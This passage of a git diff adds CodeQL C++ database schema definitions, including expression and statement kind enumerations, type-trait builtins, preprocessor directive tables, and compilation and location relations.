+| 99 = @offsetofexpr // offsetof ::= type and field
+| 100 = @hasassignexpr // __has_assign ::= type
+| 101 = @hascopyexpr // __has_copy ::= type
+| 102 = @hasnothrowassign // __has_nothrow_assign ::= type
+| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type
+| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type
+| 105 = @hastrivialassign // __has_trivial_assign ::= type
+| 106 = @hastrivialconstr // __has_trivial_constructor ::= type
+| 107 = @hastrivialcopy // __has_trivial_copy ::= type
+| 108 = @hasuserdestr // __has_user_destructor ::= type
+| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type
+| 110 = @isabstractexpr // __is_abstract ::= type
+| 111 = @isbaseofexpr // __is_base_of ::= type type
+| 112 = @isclassexpr // __is_class ::= type
+| 113 = @isconvtoexpr // __is_convertible_to ::= type type
+| 114 = @isemptyexpr // __is_empty ::= type
+| 115 = @isenumexpr // __is_enum ::= type
+| 116 = @ispodexpr // __is_pod ::= type
+| 117 = @ispolyexpr // __is_polymorphic ::= type
+| 118 = @isunionexpr // __is_union ::= type
+| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type
+| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof
+// ...
+| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type
+| 123 = @literal
+| 124 = @uuidof
+| 127 = @aggregateliteral
+| 128 = @delete_array_expr
+| 129 = @new_array_expr
+// ... 130 @objc_array_literal deprecated
+// ... 131 @objc_dictionary_literal deprecated
+| 132 = @foldexpr
+// ...
+| 200 = @ctordirectinit
+| 201 = @ctorvirtualinit
+| 202 = @ctorfieldinit
+| 203 = @ctordelegatinginit
+| 204 = @dtordirectdestruct
+| 205 = @dtorvirtualdestruct
+| 206 = @dtorfielddestruct
+// ...
+| 210 = @static_cast
+| 211 = @reinterpret_cast
+| 212 = @const_cast
+| 213 = @dynamic_cast
+| 214 = @c_style_cast
+| 215 = @lambdaexpr
+| 216 = @param_ref
+| 217 = @noopexpr
+// ...
+| 294 = @istriviallyconstructibleexpr
+| 295 = @isdestructibleexpr
+| 296 = @isnothrowdestructibleexpr
+| 297 = @istriviallydestructibleexpr
+| 298 = @istriviallyassignableexpr
+| 299 = @isnothrowassignableexpr
+| 300 = @istrivialexpr
+| 301 = @isstandardlayoutexpr
+| 302 = @istriviallycopyableexpr
+| 303 = @isliteraltypeexpr
+| 304 = @hastrivialmoveconstructorexpr
+| 305 = @hastrivialmoveassignexpr
+| 306 = @hasnothrowmoveassignexpr
+| 307 = @isconstructibleexpr
+| 308 = @isnothrowconstructibleexpr
+| 309 = @hasfinalizerexpr
+| 310 = @isdelegateexpr
+| 311 = @isinterfaceclassexpr
+| 312 = @isrefarrayexpr
+| 313 = @isrefclassexpr
+| 314 = @issealedexpr
+| 315 = @issimplevalueclassexpr
+| 316 = @isvalueclassexpr
+| 317 = @isfinalexpr
+| 319 = @noexceptexpr
+| 320 = @builtinshufflevector
+| 321 = @builtinchooseexpr
+| 322 = @builtinaddressof
+| 323 = @vec_fill
+| 324 = @builtinconvertvector
+| 325 = @builtincomplex
+| 326 = @spaceshipexpr
+| 327 = @co_await
+| 328 = @co_yield
+| 329 = @temp_init
+| 330 = @isassignable
+| 331 = @isaggregate
+| 332 = @hasuniqueobjectrepresentations
+| 333 = @builtinbitcast
+| 334 = @builtinshuffle
+| 335 = @blockassignexpr
+| 336 = @issame
+| 337 = @isfunction
+| 338 = @islayoutcompatible
+| 339 = @ispointerinterconvertiblebaseof
+| 340 = @isarray
+| 341 = @arrayrank
+| 342 = @arrayextent
+| 343 = @isarithmetic
+| 344 = @iscompletetype
+| 345 = @iscompound
+| 346 = @isconst
+| 347 = @isfloatingpoint
+| 348 = @isfundamental
+| 349 = @isintegral
+| 350 = @islvaluereference
+| 351 = @ismemberfunctionpointer
+| 352 = @ismemberobjectpointer
+| 353 = @ismemberpointer
+| 354 = @isobject
+| 355 = @ispointer
+| 356 = @isreference
+| 357 = @isrvaluereference
+| 358 = @isscalar
+| 359 = @issigned
+| 360 = @isunsigned
+| 361 = @isvoid
+| 362 = @isvolatile
+| 363 = @reuseexpr
+| 364 = @istriviallycopyassignable
+| 365 = @isassignablenopreconditioncheck
+| 366 = @referencebindstotemporary
+| 367 = @issameas
+| 368 = @builtinhasattribute
+| 369 = @ispointerinterconvertiblewithclass
+| 370 = @builtinispointerinterconvertiblewithclass
+| 371 = @iscorrespondingmember
+| 372 = @builtiniscorrespondingmember
+| 373 = @isboundedarray
+| 374 = @isunboundedarray
+| 375 = @isreferenceable
+| 378 = @isnothrowconvertible
+| 379 = @referenceconstructsfromtemporary
+| 380 = @referenceconvertsfromtemporary
+| 381 = @isconvertible
+| 382 = @isvalidwinrttype
+| 383 = @iswinclass
+| 384 = @iswininterface
+| 385 = @istriviallyequalitycomparable
+| 386 = @isscopedenum
+| 387 = @istriviallyrelocatable
+| 388 = @datasizeof
+| 389 = @c11_generic
+| 390 = @requires_expr
+| 391 = @nested_requirement
+| 392 = @compound_requirement
+| 393 = @concept_id
+;
+
+@var_args_expr = @vastartexpr
+ | @vaendexpr
+ | @vaargexpr
+ | @vacopyexpr
+ ;
+
+@builtin_op = @var_args_expr
+ | @noopexpr
+ | @offsetofexpr
+ | @intaddrexpr
+ | @hasassignexpr
+ | @hascopyexpr
+ | @hasnothrowassign
+ | @hasnothrowconstr
+ | @hasnothrowcopy
+ | @hastrivialassign
+ | @hastrivialconstr
+ | @hastrivialcopy
+ | @hastrivialdestructor
+ | @hasuserdestr
+ | @hasvirtualdestr
+ | @isabstractexpr
+ | @isbaseofexpr
+ | @isclassexpr
+ | @isconvtoexpr
+ | @isemptyexpr
+ | @isenumexpr
+ | @ispodexpr
+ | @ispolyexpr
+ | @isunionexpr
+ | @typescompexpr
+ | @builtinshufflevector
+ | @builtinconvertvector
+ | @builtinaddressof
+ | @istriviallyconstructibleexpr
+ | @isdestructibleexpr
+ | @isnothrowdestructibleexpr
+ | @istriviallydestructibleexpr
+ | @istriviallyassignableexpr
+ | @isnothrowassignableexpr
+ | @istrivialexpr
+ | @isstandardlayoutexpr
+ | @istriviallycopyableexpr
+ | @isliteraltypeexpr
+ | @hastrivialmoveconstructorexpr
+ | @hastrivialmoveassignexpr
+ | @hasnothrowmoveassignexpr
+ | @isconstructibleexpr
+ | @isnothrowconstructibleexpr
+ | @hasfinalizerexpr
+ | @isdelegateexpr
+ | @isinterfaceclassexpr
+ | @isrefarrayexpr
+ | @isrefclassexpr
+ | @issealedexpr
+ | @issimplevalueclassexpr
+ | @isvalueclassexpr
+ | @isfinalexpr
+ | @builtinchooseexpr
+ | @builtincomplex
+ | @isassignable
+ | @isaggregate
+ | @hasuniqueobjectrepresentations
+ | @builtinbitcast
+ | @builtinshuffle
+ | @issame
+ | @isfunction
+ | @islayoutcompatible
+ | @ispointerinterconvertiblebaseof
+ | @isarray
+ | @arrayrank
+ | @arrayextent
+ | @isarithmetic
+ | @iscompletetype
+ | @iscompound
+ | @isconst
+ | @isfloatingpoint
+ | @isfundamental
+ | @isintegral
+ | @islvaluereference
+ | @ismemberfunctionpointer
+ | @ismemberobjectpointer
+ | @ismemberpointer
+ | @isobject
+ | @ispointer
+ | @isreference
+ | @isrvaluereference
+ | @isscalar
+ | @issigned
+ | @isunsigned
+ | @isvoid
+ | @isvolatile
+ | @istriviallycopyassignable
+ | @isassignablenopreconditioncheck
+ | @referencebindstotemporary
+ | @issameas
+ | @builtinhasattribute
+ | @ispointerinterconvertiblewithclass
+ | @builtinispointerinterconvertiblewithclass
+ | @iscorrespondingmember
+ | @builtiniscorrespondingmember
+ | @isboundedarray
+ | @isunboundedarray
+ | @isreferenceable
+ | @isnothrowconvertible
+ | @referenceconstructsfromtemporary
+ | @referenceconvertsfromtemporary
+ | @isconvertible
+ | @isvalidwinrttype
+ | @iswinclass
+ | @iswininterface
+ | @istriviallyequalitycomparable
+ | @isscopedenum
+ | @istriviallyrelocatable
+ ;
+
+compound_requirement_is_noexcept(
+ int expr: @compound_requirement ref
+);
+
+new_allocated_type(
+ unique int expr: @new_expr ref,
+ int type_id: @type ref
+);
+
+new_array_allocated_type(
+ unique int expr: @new_array_expr ref,
+ int type_id: @type ref
+);
+
+/**
+ * The field being initialized by an initializer expression within an aggregate
+ * initializer for a class/struct/union. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_field_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int field: @membervariable ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+/**
+ * The index of the element being initialized by an initializer expression
+ * within an aggregate initializer for an array. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_array_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int element_index: int ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+@ctorinit = @ctordirectinit
+ | @ctorvirtualinit
+ | @ctorfieldinit
+ | @ctordelegatinginit;
+@dtordestruct = @dtordirectdestruct
+ | @dtorvirtualdestruct
+ | @dtorfielddestruct;
+
+
+condition_decl_bind(
+ unique int expr: @condition_decl ref,
+ unique int decl: @declaration ref
+);
+
+typeid_bind(
+ unique int expr: @type_id ref,
+ int type_id: @type ref
+);
+
+uuidof_bind(
+ unique int expr: @uuidof ref,
+ int type_id: @type ref
+);
+
+@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack;
+
+sizeof_bind(
+ unique int expr: @sizeof_or_alignof ref,
+ int type_id: @type ref
+);
+
+code_block(
+ unique int block: @literal ref,
+ unique int routine: @function ref
+);
+
+lambdas(
+ unique int expr: @lambdaexpr ref,
+ string default_capture: string ref,
+ boolean has_explicit_return_type: boolean ref,
+ boolean has_explicit_parameter_list: boolean ref
+);
+
+lambda_capture(
+ unique int id: @lambdacapture,
+ int lambda: @lambdaexpr ref,
+ int index: int ref,
+ int field: @membervariable ref,
+ boolean captured_by_reference: boolean ref,
+ boolean is_implicit: boolean ref,
+ int location: @location_default ref
+);
+
+@funbindexpr = @routineexpr
+ | @new_expr
+ | @delete_expr
+ | @delete_array_expr
+ | @ctordirectinit
+ | @ctorvirtualinit
+ | @ctordelegatinginit
+ | @dtordirectdestruct
+ | @dtorvirtualdestruct;
+
+@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct;
+@addressable = @function | @variable ;
+@accessible = @addressable | @enumconstant ;
+
+@access = @varaccess | @routineexpr ;
+
+fold(
+ int expr: @foldexpr ref,
+ string operator: string ref,
+ boolean is_left_fold: boolean ref
+);
+
+stmts(
+ unique int id: @stmt,
+ int kind: int ref,
+ int location: @location_stmt ref
+);
+
+case @stmt.kind of
+ 1 = @stmt_expr
+| 2 = @stmt_if
+| 3 = @stmt_while
+| 4 = @stmt_goto
+| 5 = @stmt_label
+| 6 = @stmt_return
+| 7 = @stmt_block
+| 8 = @stmt_end_test_while // do { ... } while ( ... )
+| 9 = @stmt_for
+| 10 = @stmt_switch_case
+| 11 = @stmt_switch
+| 13 = @stmt_asm // "asm" statement or the body of an asm function
+| 15 = @stmt_try_block
+| 16 = @stmt_microsoft_try // Microsoft
+| 17 = @stmt_decl
+| 18 = @stmt_set_vla_size // C99
+| 19 = @stmt_vla_decl // C99
+| 25 = @stmt_assigned_goto // GNU
+| 26 = @stmt_empty
+| 27 = @stmt_continue
+| 28 = @stmt_break
+| 29 = @stmt_range_based_for // C++11
+// ... 30 @stmt_at_autoreleasepool_block deprecated
+// ... 31 @stmt_objc_for_in deprecated
+// ... 32 @stmt_at_synchronized deprecated
+| 33 = @stmt_handler
+// ... 34 @stmt_finally_end deprecated
+| 35 = @stmt_constexpr_if
+| 37 = @stmt_co_return
+| 38 = @stmt_consteval_if
+| 39 = @stmt_not_consteval_if
+;
+
+type_vla(
+ int type_id: @type ref,
+ int decl: @stmt_vla_decl ref
+);
+
+variable_vla(
+ int var: @variable ref,
+ int decl: @stmt_vla_decl ref
+);
+
+type_is_vla(unique int type_id: @derivedtype ref)
+
+if_initialization(
+ unique int if_stmt: @stmt_if ref,
+ int init_id: @stmt ref
+);
+
+if_then(
+ unique int if_stmt: @stmt_if ref,
+ int then_id: @stmt ref
+);
+
+if_else(
+ unique int if_stmt: @stmt_if ref,
+ int else_id: @stmt ref
+);
+
+constexpr_if_initialization(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int init_id: @stmt ref
+);
+
+constexpr_if_then(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int then_id: @stmt ref
+);
+
+constexpr_if_else(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int else_id: @stmt ref
+);
+
+@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if;
+
+consteval_if_then(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int then_id: @stmt ref
+);
+
+consteval_if_else(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int else_id: @stmt ref
+);
+
+while_body(
+ unique int while_stmt: @stmt_while ref,
+ int body_id: @stmt ref
+);
+
+do_body(
+ unique int do_stmt: @stmt_end_test_while ref,
+ int body_id: @stmt ref
+);
+
+switch_initialization(
+ unique int switch_stmt: @stmt_switch ref,
+ int init_id: @stmt ref
+);
+
+#keyset[switch_stmt, index]
+switch_case(
+ int switch_stmt: @stmt_switch ref,
+ int index: int ref,
+ int case_id: @stmt_switch_case ref
+);
+
+switch_body(
+ unique int switch_stmt: @stmt_switch ref,
+ int body_id: @stmt ref
+);
+
+@stmt_for_or_range_based_for = @stmt_for
+ | @stmt_range_based_for;
+
+for_initialization(
+ unique int for_stmt: @stmt_for_or_range_based_for ref,
+ int init_id: @stmt ref
+);
+
+for_condition(
+ unique int for_stmt: @stmt_for ref,
+ int condition_id: @expr ref
+);
+
+for_update(
+ unique int for_stmt: @stmt_for ref,
+ int update_id: @expr ref
+);
+
+for_body(
+ unique int for_stmt: @stmt_for ref,
+ int body_id: @stmt ref
+);
+
+@stmtparent = @stmt | @expr_stmt ;
+stmtparents(
+ unique int id: @stmt ref,
+ int index: int ref,
+ int parent: @stmtparent ref
+);
+
+ishandler(unique int block: @stmt_block ref);
+
+@cfgnode = @stmt | @expr | @function | @initialiser ;
+
+stmt_decl_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl: @declaration ref
+);
+
+stmt_decl_entry_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl_entry: @element ref
+);
+
+@parameterized_element = @function | @stmt_block | @requires_expr;
+
+blockscope(
+ unique int block: @stmt_block ref,
+ int enclosing: @parameterized_element ref
+);
+
+@jump = @stmt_goto | @stmt_break | @stmt_continue;
+
+@jumporlabel = @jump | @stmt_label | @literal;
+
+jumpinfo(
+ unique int id: @jumporlabel ref,
+ string str: string ref,
+ int target: @stmt ref
+);
+
+preprocdirects(
+ unique int id: @preprocdirect,
+ int kind: int ref,
+ int location: @location_default ref
+);
+case @preprocdirect.kind of
+ 0 = @ppd_if
+| 1 = @ppd_ifdef
+| 2 = @ppd_ifndef
+| 3 = @ppd_elif
+| 4 = @ppd_else
+| 5 = @ppd_endif
+| 6 = @ppd_plain_include
+| 7 = @ppd_define
+| 8 = @ppd_undef
+| 9 = @ppd_line
+| 10 = @ppd_error
+| 11 = @ppd_pragma
+| 12 = @ppd_objc_import
+| 13 = @ppd_include_next
+| 14 = @ppd_ms_import
+| 15 = @ppd_elifdef
+| 16 = @ppd_elifndef
+| 18 = @ppd_warning
+;
+
+@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import;
+
+@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef;
+
+preprocpair(
+ int begin : @ppd_branch ref,
+ int elseelifend : @preprocdirect ref
+);
+
+preproctrue(int branch : @ppd_branch ref);
+preprocfalse(int branch : @ppd_branch ref);
+
+preproctext(
+ unique int id: @preprocdirect ref,
+ string head: string ref,
+ string body: string ref
+);
+
+includes(
+ unique int id: @ppd_include ref,
+ int included: @file ref
+);
+
+link_targets(
+ int id: @link_target,
+ int binary: @file ref
+);
+
+link_parent(
+ int element : @element ref,
+ int link_target : @link_target ref
+);
+
+/* XML Files */
+
+xmlEncoding(unique int id: @file ref, string encoding: string ref);
+
+xmlDTDs(
+ unique int id: @xmldtd,
+ string root: string ref,
+ string publicId: string ref,
+ string systemId: string ref,
+ int fileid: @file ref
+);
+
+xmlElements(
+ unique int id: @xmlelement,
+ string name: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlAttrs(
+ unique int id: @xmlattribute,
+ int elementid: @xmlelement ref,
+ string name: string ref,
+ string value: string ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlNs(
+ int id: @xmlnamespace,
+ string prefixName: string ref,
+ string URI: string ref,
+ int fileid: @file ref
+);
+
+xmlHasNs(
+ int elementId: @xmlnamespaceable ref,
+ int nsId: @xmlnamespace ref,
+ int fileid: @file ref
+);
+
+xmlComments(
+ unique int id: @xmlcomment,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int fileid: @file ref
+);
+
+xmlChars(
+ unique int id: @xmlcharacters,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int isCDATA: int ref,
+ int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+ int xmlElement: @xmllocatable ref,
+ int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters
+ | @xmlelement
+ | @xmlcomment
+ | @xmlattribute
+ | @xmldtd
+ | @file
+ | @xmlnamespace;
diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/semmlecode.cpp.dbscheme b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/semmlecode.cpp.dbscheme
new file mode 100644
index 00000000000..af887e83a81
--- /dev/null
+++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/semmlecode.cpp.dbscheme
@@ -0,0 +1,2492 @@
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+ /**
+ * An invocation of the compiler. Note that more than one file may
+ * be compiled per invocation. For example, this command compiles
+ * three source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ */
+ unique int id : @compilation,
+ string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | *path to extractor*
+ * 1 | `--mimic`
+ * 2 | `/usr/bin/gcc`
+ * 3 | `-c`
+ * 4 | f1.c
+ * 5 | f2.c
+ * 6 | f3.c
+ */
+#keyset[id, num]
+compilation_args(
+ int id : @compilation ref,
+ int num : int ref,
+ string arg : string ref
+);
+
+/**
+ * Optionally, record the build mode for each compilation.
+ */
+compilation_build_mode(
+ unique int id : @compilation ref,
+ int mode : int ref
+);
+
+/*
+case @compilation_build_mode.mode of
+ 0 = @build_mode_none
+| 1 = @build_mode_manual
+| 2 = @build_mode_auto
+;
+*/
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | f1.c
+ * 1 | f2.c
+ * 2 | f3.c
+ *
+ * Note that even if those files `#include` headers, those headers
+ * do not appear as rows.
+ */
+#keyset[id, num]
+compilation_compiling_files(
+ int id : @compilation ref,
+ int num : int ref,
+ int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1 | CPU seconds used by the extractor frontend
+ * 2 | Elapsed seconds during the extractor frontend
+ * 3 | CPU seconds used by the extractor backend
+ * 4 | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+ int id : @compilation ref,
+ int num : int ref,
+ /* kind:
+ 1 = frontend_cpu_seconds
+ 2 = frontend_elapsed_seconds
+ 3 = extractor_cpu_seconds
+ 4 = extractor_elapsed_seconds
+ */
+ int kind : int ref,
+ float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+ int diagnostic : @diagnostic ref,
+ int compilation : @compilation ref,
+ int file_number : int ref,
+ int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+ unique int id : @compilation ref,
+ float cpu_seconds : float ref,
+ float elapsed_seconds : float ref
+);
+
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+ int id : @externalDataElement,
+ string path : string ref,
+ int column: int ref,
+ string value : string ref
+);
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/**
+ * Information about packages that provide code used during compilation.
+ * The `id` is just a unique identifier.
+ * The `namespace` is typically the name of the package manager that
+ * provided the package (e.g. "dpkg" or "yum").
+ * The `package_name` is the name of the package, and `version` is its
+ * version (as a string).
+ */
+external_packages(
+ unique int id: @external_package,
+ string namespace : string ref,
+ string package_name : string ref,
+ string version : string ref
+);
+
+/**
+ * Holds if File `fileid` was provided by package `package`.
+ */
+header_to_external_package(
+ int fileid : @file ref,
+ int package : @external_package ref
+);
+
+/*
+ * Version history
+ */
+
+svnentries(
+ unique int id : @svnentry,
+ string revision : string ref,
+ string author : string ref,
+ date revisionDate : date ref,
+ int changeSize : int ref
+)
+
+svnaffectedfiles(
+ int id : @svnentry ref,
+ int file : @file ref,
+ string action : string ref
+)
+
+svnentrymsg(
+ unique int id : @svnentry ref,
+ string message : string ref
+)
+
+svnchurn(
+ int commit : @svnentry ref,
+ int file : @file ref,
+ int addedLines : int ref,
+ int deletedLines : int ref
+)
+
+/*
+ * C++ dbscheme
+ */
+
+extractor_version(
+ string codeql_version: string ref,
+ string frontend_version: string ref
+)
+
+@location = @location_stmt | @location_expr | @location_default ;
+
+/**
+ * The location of an element that is not an expression or a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+ /** The location of an element that is not an expression or a statement. */
+ unique int id: @location_default,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_stmt(
+ /** The location of a statement. */
+ unique int id: @location_stmt,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of an expression.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_expr(
+ /** The location of an expression. */
+ unique int id: @location_expr,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/** An element for which line-count information is available. */
+@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable;
+
+numlines(
+ int element_id: @sourceline ref,
+ int num_lines: int ref,
+ int num_code: int ref,
+ int num_comment: int ref
+);
+
+diagnostics(
+ unique int id: @diagnostic,
+ int severity: int ref,
+ string error_tag: string ref,
+ string error_message: string ref,
+ string full_error_message: string ref,
+ int location: @location_default ref
+);
+
+files(
+ unique int id: @file,
+ string name: string ref
+);
+
+folders(
+ unique int id: @folder,
+ string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+ int parent: @container ref,
+ unique int child: @container ref
+);
+
+fileannotations(
+ int id: @file ref,
+ int kind: int ref,
+ string name: string ref,
+ string value: string ref
+);
+
+inmacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+affectedbymacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+case @macroinvocation.kind of
+ 1 = @macro_expansion
+| 2 = @other_macro_reference
+;
+
+macroinvocations(
+ unique int id: @macroinvocation,
+ int macro_id: @ppd_define ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+macroparent(
+ unique int id: @macroinvocation ref,
+ int parent_id: @macroinvocation ref
+);
+
+// a macroinvocation may be part of another location
+// the way to find a constant expression that uses a macro
+// is thus to find a constant expression that has a location
+// to which a macro invocation is bound
+macrolocationbind(
+ int id: @macroinvocation ref,
+ int location: @location ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_unexpanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_expanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+/*
+case @function.kind of
+ 1 = @normal_function
+| 2 = @constructor
+| 3 = @destructor
+| 4 = @conversion_function
+| 5 = @operator
+| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk
+| 7 = @user_defined_literal
+| 8 = @deduction_guide
+;
+*/
+
+functions(
+ unique int id: @function,
+ string name: string ref,
+ int kind: int ref
+);
+
+function_entry_point(
+ int id: @function ref,
+ unique int entry_point: @stmt ref
+);
+
+function_return_type(
+ int id: @function ref,
+ int return_type: @type ref
+);
+
+/**
+ * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits`
+ * instance associated with it, and the variables representing the `handle` and `promise`
+ * for it.
+ */
+coroutine(
+ unique int function: @function ref,
+ int traits: @type ref
+);
+
+/*
+case @coroutine_placeholder_variable.kind of
+ 1 = @handle
+| 2 = @promise
+| 3 = @init_await_resume
+;
+*/
+
+coroutine_placeholder_variable(
+ unique int placeholder_variable: @variable ref,
+ int kind: int ref,
+ int function: @function ref
+)
+
+/** The `new` function used for allocating the coroutine state, if any. */
+coroutine_new(
+ unique int function: @function ref,
+ int new: @function ref
+);
+
+/** The `delete` function used for deallocating the coroutine state, if any. */
+coroutine_delete(
+ unique int function: @function ref,
+ int delete: @function ref
+);
+
+purefunctions(unique int id: @function ref);
+
+function_deleted(unique int id: @function ref);
+
+function_defaulted(unique int id: @function ref);
+
+function_prototyped(unique int id: @function ref)
+
+deduction_guide_for_class(
+ int id: @function ref,
+ int class_template: @usertype ref
+)
+
+member_function_this_type(
+ unique int id: @function ref,
+ int this_type: @type ref
+);
+
+#keyset[id, type_id]
+fun_decls(
+ int id: @fun_decl,
+ int function: @function ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+fun_def(unique int id: @fun_decl ref);
+fun_specialized(unique int id: @fun_decl ref);
+fun_implicit(unique int id: @fun_decl ref);
+fun_decl_specifiers(
+ int id: @fun_decl ref,
+ string name: string ref
+)
+#keyset[fun_decl, index]
+fun_decl_throws(
+ int fun_decl: @fun_decl ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+/* an empty throw specification is different from none */
+fun_decl_empty_throws(unique int fun_decl: @fun_decl ref);
+fun_decl_noexcept(
+ int fun_decl: @fun_decl ref,
+ int constant: @expr ref
+);
+fun_decl_empty_noexcept(int fun_decl: @fun_decl ref);
+fun_decl_typedef_type(
+ unique int fun_decl: @fun_decl ref,
+ int typedeftype_id: @usertype ref
+);
+
+/*
+case @fun_requires.kind of
+ 1 = @template_attached
+| 2 = @function_attached
+;
+*/
+
+fun_requires(
+ int id: @fun_decl ref,
+ int kind: int ref,
+ int constraint: @expr ref
+);
+
+param_decl_bind(
+ unique int id: @var_decl ref,
+ int index: int ref,
+ int fun_decl: @fun_decl ref
+);
+
+#keyset[id, type_id]
+var_decls(
+ int id: @var_decl,
+ int variable: @variable ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+var_def(unique int id: @var_decl ref);
+var_specialized(int id: @var_decl ref);
+var_decl_specifiers(
+ int id: @var_decl ref,
+ string name: string ref
+)
+is_structured_binding(unique int id: @variable ref);
+var_requires(
+ int id: @var_decl ref,
+ int constraint: @expr ref
+);
+
+type_decls(
+ unique int id: @type_decl,
+ int type_id: @type ref,
+ int location: @location_default ref
+);
+type_def(unique int id: @type_decl ref);
+type_decl_top(
+ unique int type_decl: @type_decl ref
+);
+type_requires(
+ int id: @type_decl ref,
+ int constraint: @expr ref
+);
+
+namespace_decls(
+ unique int id: @namespace_decl,
+ int namespace_id: @namespace ref,
+ int location: @location_default ref,
+ int bodylocation: @location_default ref
+);
+
+case @using.kind of
